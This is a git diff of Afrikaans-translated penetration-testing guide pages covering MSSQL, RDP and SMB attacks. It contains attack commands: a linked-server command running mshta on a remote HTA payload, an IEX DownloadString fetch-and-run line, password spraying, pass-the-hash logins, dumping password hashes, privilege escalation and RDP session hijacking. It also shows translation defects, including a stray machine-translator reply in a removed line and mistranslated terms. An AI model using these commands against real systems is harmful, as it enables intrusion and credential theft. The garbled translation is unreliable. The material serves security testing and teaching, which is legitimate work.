gestoor prosedure** te hĂȘ. Jy kan uitvind wie (behalwe sysadmins) **`xp_cmdshell`** kan gebruik met: > > ```sql > Use master @@ -234,6 +234,10 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate ``` +### Kry gehashde wagwoorde +```bash +SELECT * FROM master.sys.syslogins; +``` ### Steel NetNTLM-hash / Relay-aanval Jy moet 'n **SMB-bediener** begin om die hash wat in die outentisering gebruik word, te vang (`impacket-smbserver` of `responder` byvoorbeeld). @@ -278,7 +282,7 @@ Jy kan sien hoe om hierdie gereedskap te gebruik in: ### Misbruik van MSSQL vertroude Skakels -[**Lees hierdie pos**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **om meer inligting te vind oor hoe om hierdie kenmerk te misbruik:** +[**Lees hierdie pos**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **om meer inligting te vind oor hoe om hierdie funksie te misbruik:** {{#ref}} ../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -341,9 +345,9 @@ print(sys.version) ' GO ``` -### Lees Registrasie +### Lees Register -Microsoft SQL Server bied **meervoudige uitgebreide gestoor prosedures** wat jou toelaat om nie net met die netwerk te kommunikeer nie, maar ook met die lĂȘerstelsel en selfs die [**Windows Registrasie**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** +Microsoft SQL Server bied **meervoudige uitgebreide gestoor prosedures** wat jou toelaat om nie net met die netwerk te kommunikeer nie, maar ook met die lĂȘerstelsel en selfs die [**Windows Register**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** | **Regulier** | **Instansie-Bewus** | | --------------------------- | ------------------------------------ | @@ -380,7 +384,7 @@ Volgens[ **hierdie pos**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; ``` -It seems that your message is incomplete. Please provide the text you would like translated to Afrikaans. +Met: ```csharp using Microsoft.SqlServer.SmartAdmin; using System; @@ -438,7 +442,7 @@ Daar is ander metodes om opdraguitvoering te verkry, soos om [uitgebreide gestoo ### Van db_owner na sysadmin -As 'n **gereguleerde gebruiker** die rol **`db_owner`** oor die **databasis besit deur 'n admin** gebruiker (soos **`sa`**) ontvang en daardie databasis as **`trustworthy`** geconfigureer is, kan daardie gebruiker hierdie voorregte misbruik om **privesc** te verkry omdat **gestoor prosedures** wat daar geskep is, as die eienaar (**admin**) kan **uitvoer**. +As 'n **gereguleerde gebruiker** die rol **`db_owner`** oor die **databasis besit deur 'n admin** gebruiker (soos **`sa`**) gegee word en daardie databasis as **`trustworthy`** geconfigureer is, kan daardie gebruiker hierdie voorregte misbruik om **privesc** te verkry omdat **gestoor prosedures** wat daar geskep is, as die eienaar (**admin**) kan **uitvoer**. ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -477,7 +481,7 @@ Jy kan 'n **metasploit** module gebruik: msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` Of 'n **PS** skrip: -```powershell +```bash # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184 @@ -522,7 +526,7 @@ Jy kan hierdie aanval uitvoer met 'n **metasploit** module: msf> auxiliary/admin/mssql/mssql_escalate_execute_as ``` of met 'n **PS** skrip: -```powershell +```bash # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword! @@ -531,11 +535,11 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) -## Uittreksel van wagwoorde uit SQL Server Linked Servers +## Uittreksel van wagwoorde uit SQL Server Gekoppelde Bedieners -'n Aanvaller kan SQL Server Linked Servers wagwoorde uit die SQL Instansies uittrek en dit in duidelike teks verkry, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die teiken te verkry. Die skrip om die wagwoorde wat vir die Linked Servers gestoor is, uit te trek en te ontsleutel, kan [hier](https://www.richardswinbank.net/admin/extract_linked_server_passwords) gevind word. +'n Aanvaller kan SQL Server Gekoppelde Bedieners wagwoorde uit die SQL Instansies uittrek en dit in duidelike teks verkry, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die grond op die teiken te verkry. Die skrip om die wagwoorde wat vir die Gekoppelde Bedieners gestoor is, uit te trek en te ontsleutel, kan [hier](https://www.richardswinbank.net/admin/extract_linked_server_passwords) gevind word. -Sommige vereistes en konfigurasies moet gedoen word sodat hierdie ontploffing kan werk. Eerstens moet jy Administrateurregte op die masjien hĂȘ, of die vermoĂ« om die SQL Server Konfigurasies te bestuur. +Sommige vereistes en konfigurasies moet gedoen word sodat hierdie uitbuiting kan werk. Eerstens moet jy Administrateurregte op die masjien hĂȘ, of die vermoĂ« om die SQL Server Konfigurasies te bestuur. Na validasie van jou toestemmings, moet jy drie dinge konfigureer, wat die volgende is: @@ -545,14 +549,14 @@ Na validasie van jou toestemmings, moet jy drie dinge konfigureer, wat die volge Om hierdie konfigurasies te outomatiseer, het [hierdie berging](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die nodige skripte. Benewens 'n powershell-skrip vir elke stap van die konfigurasie, het die berging ook 'n volledige skrip wat die konfigurasieskripte en die uittreksel en ontsleuteling van die wagwoorde kombineer. -Vir verdere inligting, verwys na die volgende skakels rakende hierdie aanval: [Ontsleuteling van MSSQL Databasis Link Server Wagwoorde](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +Vir verdere inligting, verwys na die volgende skakels rakende hierdie aanval: [Ontsleuteling van MSSQL Databasis Koppelbediener Wagwoorde](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) -[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) +[Troubleshooting die SQL Server Toegewyde Administrateur Verbinding](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) ## Plaaslike Privilege Escalation -Die gebruiker wat MSSQL-server uitvoer, sal die voorregtoken **SeImpersonatePrivilege** geaktiveer hĂȘ.\ -Jy sal waarskynlik in staat wees om **na Administrateur op te skaal** deur een van hierdie 2 bladsye te volg: +Die gebruiker wat MSSQL bediener uitvoer, sal die voorregtoken **SeImpersonatePrivilege** geaktiveer hĂȘ.\ +Jy sal waarskynlik in staat wees om **te eskaleer na Administrateur** deur een van hierdie 2 bladsye te volg: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index 3c5f750a1..6b9ec2b75 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -12,7 +12,7 @@ Ontwikkel deur Microsoft, die **Remote Desktop Protocol** (**RDP**) is ontwerp o PORT STATE SERVICE 3389/tcp open ms-wbt-server ``` -## Opname +## Enumerasie ### Outomaties ```bash @@ -24,7 +24,7 @@ Dit kontroleer die beskikbare versleuteling en DoS kwesbaarheid (sonder om DoS a **Wees versigtig, jy kan rekeninge sluit** -### **Wagwoord Spuit** +### **Password Spraying** **Wees versigtig, jy kan rekeninge sluit** ```bash @@ -33,16 +33,16 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' # hydra hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp ``` -### Verbinde met bekende akrediteerbesonderhede/hash +### Verbind met bekende akrediteer/hasher ```bash rdesktop -u rdesktop -d -u -p xfreerdp [/d:domain] /u: /p: /v: xfreerdp [/d:domain] /u: /pth: /v: #Pass the hash ``` -### Kontroleer bekende geloofsbriewe teen RDP-dienste +### Kontroleer bekende akrediteerbes met RDP-dienste -rdp_check.py van impacket laat jou toe om te kontroleer of sommige geloofsbriewe geldig is vir 'n RDP-diens: +rdp_check.py van impacket laat jou toe om te kontroleer of sekere akrediteerbes geldig is vir 'n RDP-diens: ```bash rdp_check /:@ ``` @@ -64,7 +64,7 @@ Nou sal jy binne die geselekteerde RDP-sessie wees en jy sal 'n gebruiker moet n **Belangrik**: Wanneer jy toegang tot 'n aktiewe RDP-sessie verkry, sal jy die gebruiker wat dit gebruik het, afskakel. -Jy kan wagwoorde uit die proses verkry deur dit te dump, maar hierdie metode is baie vinniger en laat jou toe om met die gebruiker se virtuele lessenaars te interaksie (wagwoorde in notepad sonder om op die skyf te stoor, ander RDP-sessies wat op ander masjiene oop is...) +Jy kan wagwoorde uit die proses verkry deur dit te dump, maar hierdie metode is baie vinniger en laat jou toe om met die gebruiker se virtuele lessenaars te interaksie (wagwoorde in notepad sonder om op skyf te stoor, ander RDP-sessies wat op ander masjiene oop is...) #### **Mimikatz** @@ -77,7 +77,7 @@ ts::remote /id:2 #Connect to the session Deur hierdie tegniek te kombineer met **stickykeys** of **utilman kan jy toegang verkry tot 'n administratiewe CMD en enige RDP-sessie enige tyd** -Jy kan RDP's soek wat reeds met een van hierdie tegnieke teruggewerk is met: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) +Jy kan RDP's soek wat reeds met een van hierdie tegnieke teruggekom is met: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ### RDP Proses Inspuiting @@ -98,12 +98,16 @@ net localgroup "Remote Desktop Users" UserLoginName /add **AutoRDPwn** is 'n post-exploitasie raamwerk geskep in Powershell, hoofsaaklik ontwerp om die **Shadow** aanval op Microsoft Windows rekenaars te outomatiseer. Hierdie kwesbaarheid (lys as 'n kenmerk deur Microsoft) laat 'n afstandaanvaller toe om **sy slagoffer se lessenaar sonder sy toestemming te sien**, en selfs dit op aanvraag te beheer, met behulp van gereedskap wat in die bedryfstelsel self ingebou is. - [**EvilRDP**](https://github.com/skelsec/evilrdp) -- Beheer muis en sleutelbord op 'n geoutomatiseerde manier vanaf die opdraglyn -- Beheer klembord op 'n geoutomatiseerde manier vanaf die opdraglyn +- Beheer muis en sleutelbord op 'n outomatiese manier vanaf die opdraglyn +- Beheer klembord op 'n outomatiese manier vanaf die opdraglyn - Genereer 'n SOCKS-proxy vanaf die kliĂ«nt wat netwerkkommunikasie na die teiken via RDP kan lei - Voer arbitrĂȘre SHELL en PowerShell opdragte op die teiken uit sonder om lĂȘers op te laai - Laai lĂȘers op en af na/vanaf die teiken selfs wanneer lĂȘeroordragte op die teiken gedeaktiveer is +- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP) + +Hierdie gereedskap laat toe om opdragte in die slagoffer se RDP **uit te voer sonder om 'n grafiese koppelvlak te benodig**. + ## HackTricks Outomatiese Opdragte ``` Protocol_Name: RDP #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md index 324d7a248..dcca45de6 100644 --- a/src/network-services-pentesting/pentesting-smb.md +++ b/src/network-services-pentesting/pentesting-smb.md @@ -4,13 +4,13 @@ ## **Port 139** -Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en werkstasies binne 'n plaaslike area netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-names, wat tot 16 karakters lank kan wees en dikwels verskillend is van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geĂŻnisieer wanneer een toepassing (wat as die kliĂ«nt optree) 'n opdrag gee om "te bel" na 'n ander toepassing (wat as die bediener optree) deur gebruik te maak van **TCP Port 139**. +Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en werkstasies binne 'n plaaslike area netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-names, wat tot 16 karakters lank kan wees en dikwels verskillend is van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geĂŻnisieer wanneer een toepassing (wat as die kliĂ«nt optree) 'n opdrag gee om 'n ander toepassing (wat as die bediener optree) te "bel" deur gebruik te maak van **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -Tegniek, Port 139 word verwys na ‘NBT oor IP’, terwyl Port 445 geĂŻdentifiseer word as ‘SMB oor IP’. Die akroniem **SMB** staan vir ‘**Server Message Blocks**’, wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lĂȘers, drukkers, seriĂ«le poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knope op 'n netwerk te ondersteun. +Tegniek is Port 139 bekend as ‘NBT oor IP’, terwyl Port 445 geĂŻdentifiseer word as ‘SMB oor IP’. Die akroniem **SMB** staan vir ‘**Server Message Blocks**’, wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lĂȘers, drukkers, seriĂ«le poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knope op 'n netwerk te ondersteun. Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor TCP/IP kan werk, wat die noodsaaklikheid vir NetBIOS oor TCP/IP uitskakel, deur die gebruik van poort 445. Aan die ander kant, op verskillende stelsels, word die gebruik van poort 139 waargeneem, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word. ``` @@ -20,11 +20,11 @@ Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor T Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lĂȘers**, gidse, en ander netwerkbronne soos drukkers en routers te reguleer. PrimĂȘr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB terugwaartse kompatibiliteit, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met diĂ© wat ouer weergawes gebruik, te kommunikeer. Boonop bied die **Samba** projek 'n gratis sagtewareoplossing, wat SMB se implementering op **Linux** en Unix stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer. -Aandeel, wat **arbitraire dele van die plaaslike lĂȘerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiĂ«rargie gedeeltelik **onafhanklik** van die bediener se werklike struktuur sigbaar maak aan 'n kliĂ«nt. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is. +Aandele, wat **arbitraire dele van die plaaslike lĂȘerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiĂ«rargie sigbaar maak vir 'n kliĂ«nt wat gedeeltelik **onafhanklik** is van die bediener se werklike struktuur. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is anders as die plaaslike regte wat op die bediener gestel is. ### IPC$ Share -Toegang tot die IPC$ aandeel kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat via benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Wanneer dit behoorlik gebruik word, stel dit die verkryging van: +Toegang tot die IPC$ aandeel kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat via benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Indien korrek gebruik, stel dit die verkryging van: - Inligting oor die bedryfstelsel - Besonderhede oor die ouer domein @@ -40,7 +40,7 @@ Die bogenoemde opdrag is 'n voorbeeld van hoe `enum4linux` gebruik kan word om ' ## Wat is NTLM -As jy nie weet wat NTLM is of jy wil weet hoe dit werk en hoe om dit te misbruik nie, sal jy hierdie bladsy oor **NTLM** baie interessant vind waar verduidelik word **hoe hierdie protokol werk en hoe jy daarvan kan voordeel trek:** +As jy nie weet wat NTLM is of jy wil weet hoe dit werk en hoe om dit te misbruik nie, sal jy hierdie bladsy oor **NTLM** baie interessant vind waar verduidelik word **hoe hierdie protokol werk en hoe jy dit kan benut:** {{#ref}} ../windows-hardening/ntlm/ @@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24 Om te soek na moontlike exploits vir die SMB weergawe, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy: -- Gebruik die **MSF** bykomende module \_**auxiliary/scanner/smb/smb_version** +- Gebruik die **MSF** bykomende module _**auxiliary/scanner/smb/smb_version**_ - Of hierdie skrip: ```bash #!/bin/sh @@ -82,14 +82,14 @@ searchsploit microsoft smb ### **Mogelijke** Kredensiaal | **Gebruikersnaam(s)** | **Algemene wagwoorde** | -| --------------------- | ----------------------------------------- | -| _(leeg)_ | _(leeg)_ | -| gast | _(leeg)_ | -| Administrateur, admin | _(leeg)_, wagwoord, administrateur, admin | -| arcserve | arcserve, rugsteun | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, rugsteun | backupexec, rugsteun, arcada | -| toets, laboratorium, demo | wagwoord, toets, laboratorium, demo | +| ---------------------- | ----------------------------------------- | +| _(leeg)_ | _(leeg)_ | +| gasheer | _(leeg)_ | +| Administrateur, admin | _(leeg)_, wagwoord, administrateur, admin | +| arcserve | arcserve, rugsteun | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, rugsteun | backupexec, rugsteun, arcada | +| toets, laboratorium, demo | wagwoord, toets, laboratorium, demo | ### Brute Force @@ -119,7 +119,7 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### Lys gebruikers, groepe & ingelogde gebruikers +### Lys gebruikers, groepe & aangemelde gebruikers Hierdie inligting behoort reeds van enum4linux en enum4linux-ng versamel te wees. ```bash @@ -139,7 +139,7 @@ enumdomgroups ```bash lookupsid.py -no-pass hostname.local ``` -Oneliner +Eenvliner ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` @@ -197,9 +197,9 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t ``` ### **Handmatig vensters deel en verbind daarmee** -Dit mag dalk moontlik wees dat jy beperk is om enige dele van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen dele is om mee te verbind nie. Dit mag dus die moeite werd wees om te probeer om handmatig met 'n deel te verbind. Om die dele handmatig te lys, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige akrediteer). Hierdie mag aandui of die deel bestaan en jy nie toegang daartoe het nie of die deel glad nie bestaan nie. +Dit mag dalk moontlik wees dat jy beperk is om enige dele van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen dele is om mee te verbind nie. Dit mag dus die moeite werd wees om te probeer om handmatig met 'n deel te verbind. Om die dele handmatig te lys, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige geloofsbriewe). Hierdie kan aandui of die deel bestaan en jy nie toegang daartoe het nie of die deel glad nie bestaan nie. -Gewone deelname vir venster teikens is +Gewone deelname name vir venster teikens is - C$ - D$ @@ -210,7 +210,7 @@ Gewone deelname vir venster teikens is - SYSVOL - NETLOGON -(Gewone deelname van _**Network Security Assessment 3rd edition**_) +(Gewone deelname name van _**Network Security Assessment 3rd edition**_) Jy kan probeer om met hulle te verbind deur die volgende opdrag te gebruik ```bash @@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o ### **Lys deel van Windows / sonder derdeparty gereedskap** PowerShell -```powershell +```bash # Retrieves the SMB shares on the locale computer. Get-SmbShare Get-WmiObject -Class Win32_Share @@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **Laai lĂȘers af** -Lees vorige afdelings om te leer hoe om met akrediteerbesonderhede/Pass-the-Hash te verbind. +Lees vorige afdelings om te leer hoe om met akrediteer/Pass-the-Hash te verbind. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -293,32 +293,36 @@ Commands: - mask: spesifiseer die masker wat gebruik word om die lĂȘers binne die gids te filter (bv. "" vir alle lĂȘers) - recurse: skakel rekursie aan (verstek: af) -- prompt: skakel vrae vir lĂȘernaam af (verstek: aan) -- mget: kopieer alle lĂȘers wat ooreenstem met die masker van die gasheer na die kliĂ«nt masjien +- prompt: skakel die vrae vir lĂȘernaam af (verstek: aan) +- mget: kopieer alle lĂȘers wat met die masker ooreenstem van gasheer na kliĂ«nt masjien (_Inligting van die manblad van smbclient_) -### Domein Gedeelde Gidsen Soektog +### Domein Gedeelde Gidse Soektog -- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\* +- [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` -- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spinnekop. +- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spin. - `-M spider_plus [--share ]` - `--pattern txt` ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Spesifiek interessant van gedeeltes is die lĂȘers genoem **`Registry.xml`** aangesien hulle **miskien wagwoorde** bevat vir gebruikers wat met **autologon** via Groepbeleid gekonfigureer is. Of **`web.config`** lĂȘers aangesien hulle akrediteerbesonderhede bevat. +Spesifiek interessant van gedeelde lĂȘers is die lĂȘers genoem **`Registry.xml`** aangesien hulle **miskien wagwoorde** bevat vir gebruikers wat met **autologon** via Groepbeleid gekonfigureer is. Of **`web.config`** lĂȘers aangesien hulle akrediteerbare inligting bevat. + +- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares) +- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")` +- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test` > [!NOTE] -> Die **SYSVOL-gedeelte** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daar kan jy **baie** verskillende batch, VBScript, en PowerShell **scripts** **vind**.\ -> Jy moet die **scripts** daarin **nagaan** aangesien jy **sensitiewe** inligting soos **wagwoorde** mag **vind**. +> Die **SYSVOL gedeelde lĂȘer** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daarin mag jy **vind** baie verskillende batch, VBScript, en PowerShell **scripts**.\ +> Jy moet die **scripts** daarin **kontroleer** aangesien jy **sensitiewe inligting** soos **wagwoorde** mag **vind**. ## Lees Register -Jy mag in staat wees om die **register** te **lees** met behulp van sommige ontdekte akrediteerbesonderhede. Impacket **`reg.py`** laat jou toe om te probeer: +Jy mag in staat wees om die **register** te **lees** met behulp van sommige ontdekte akrediteerbare inligting. Impacket **`reg.py`** laat jou toe om te probeer: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -378,7 +382,7 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) -Albei opsies sal **nuwe diens skep** (met _\pipe\svcctl_ via SMB) op die slagoffer masjien en dit gebruik om **iets uit te voer** (**psexec** sal **oplaai** 'n uitvoerbare lĂȘer na ADMIN$ deel en **smbexec** sal na **cmd.exe/powershell.exe** wys en die argumente die payload insit --**file-less technique-**-).\ +Albei opsies sal **'n nuwe diens skep** (met _\pipe\svcctl_ via SMB) op die slagoffer masjien en dit gebruik om **iets uit te voer** (**psexec** sal **'n uitvoerbare lĂȘer oplaai** na ADMIN$ deel en **smbexec** sal na **cmd.exe/powershell.exe** wys en die argumente die payload --**file-less technique-**- insit).\ **Meer inligting** oor [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)en [**smbexec**](../windows-hardening/ntlm/smbexec.md).\ In **kali** is dit geleĂ« op /usr/share/doc/python3-impacket/examples/ ```bash @@ -392,7 +396,7 @@ Gebruik **parameter**`-k` om teen **kerberos** te autentiseer in plaas van **NTL ### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec -Stealthily voer 'n opdrag shell uit sonder om die skyf te raak of 'n nuwe diens te laat loop deur DCOM via **port 135.**\ +Stealthily voer 'n opdrag-shel in sonder om die skyf aan te raak of 'n nuwe diens te laat loop deur DCOM via **poort 135.**\ In **kali** is dit geleĂ« op /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted @@ -444,17 +448,17 @@ Dit gebeur met die funksies: Wat deur sommige blaaiers en gereedskap (soos Skype) gebruik word. -![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>) +![Van: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>) ### SMBTrap met MitMf -![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>) +![Van: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>) ## NTLM Diefstal -Soos SMB Trapping, kan die plant van kwaadwillige lĂȘers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-authentikasiepoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n gereedskap soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](pentesting-smb.md#smb-relay-attack) gebruik word. +Soos SMB Trap, kan die plant van kwaadwillige lĂȘers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-authentikasiepoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n gereedskap soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](pentesting-smb.md#smb-relay-attack) gebruik word. -[See: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) +[ sien: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) ## HackTricks Outomatiese Opdragte ``` diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index e8bd109ba..234632b8d 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,13 +4,13 @@ ## **Port 139** -Die _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en werkstasies binne 'n plaaslike area netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-names, wat tot 16 karakters lank kan wees en dikwels verskillend is van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geĂŻnisieer wanneer een toepassing (wat as die kliĂ«nt optree) 'n opdrag gee om "te bel" na 'n ander toepassing (wat as die bediener optree) deur gebruik te maak van **TCP Port 139**. +Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en werkstasies binne 'n plaaslike area netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van 